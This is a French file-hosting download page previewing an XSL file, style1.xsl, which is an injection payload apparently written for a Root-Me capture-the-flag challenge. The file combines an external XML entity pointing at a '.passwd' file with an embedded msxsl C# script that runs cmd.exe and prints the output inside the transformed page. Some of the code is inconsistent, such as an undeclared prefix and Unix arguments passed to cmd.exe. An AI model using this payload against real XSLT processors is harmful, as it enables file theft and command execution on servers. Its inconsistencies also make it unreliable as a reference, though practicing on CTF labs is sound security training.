Hébergeur de fichiers indépendant

style1.xsl

À propos du fichier

Type de fichier
Fichier XSL de 1 Ko (application/xml)
Confidentialité
Fichier public, envoyé le 27 septembre 2018 à 13:46, depuis l'adresse IP 212.157.x.x (France)
Sécurité
Ne contient aucun Virus ou Malware connus - Dernière vérification: 3 heures
Statistiques
La présente page de téléchargement a été vue 422 fois depuis l'envoi du fichier
Page de téléchargement

Aperçu du fichier


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "http://challenge01.root-me.org/web-serveur/ch50/.passwd">]>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "~/ dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>
<xsl:for-each select="beers/beer">
  <div style="background-color:teal;color:red;padding:4px">
    <span style="font-weight:bold"><xsl:value-of select="name"/> - </span>
    <xsl:value-of select="price"/>
    </div>
  <div style="margin-left:20px;margin-bottom:1em;font-size:10pt">
    <p>
    <xsl:value-of select="description"/>
	--- BEGIN COMMAND OUTPUT ---
    <span style="font-style:italic"> (<xsl:value-of select="user:execute()"/> %)</span>
	--- END COMMAND OUTPUT ---
    </p>
  </div>
</xsl:for-each>
</body>
</html> 



Partager le fichier style1.xsl sur le Web et les réseaux sociaux:


Télécharger le fichier style1.xsl


Télécharger style1.xsl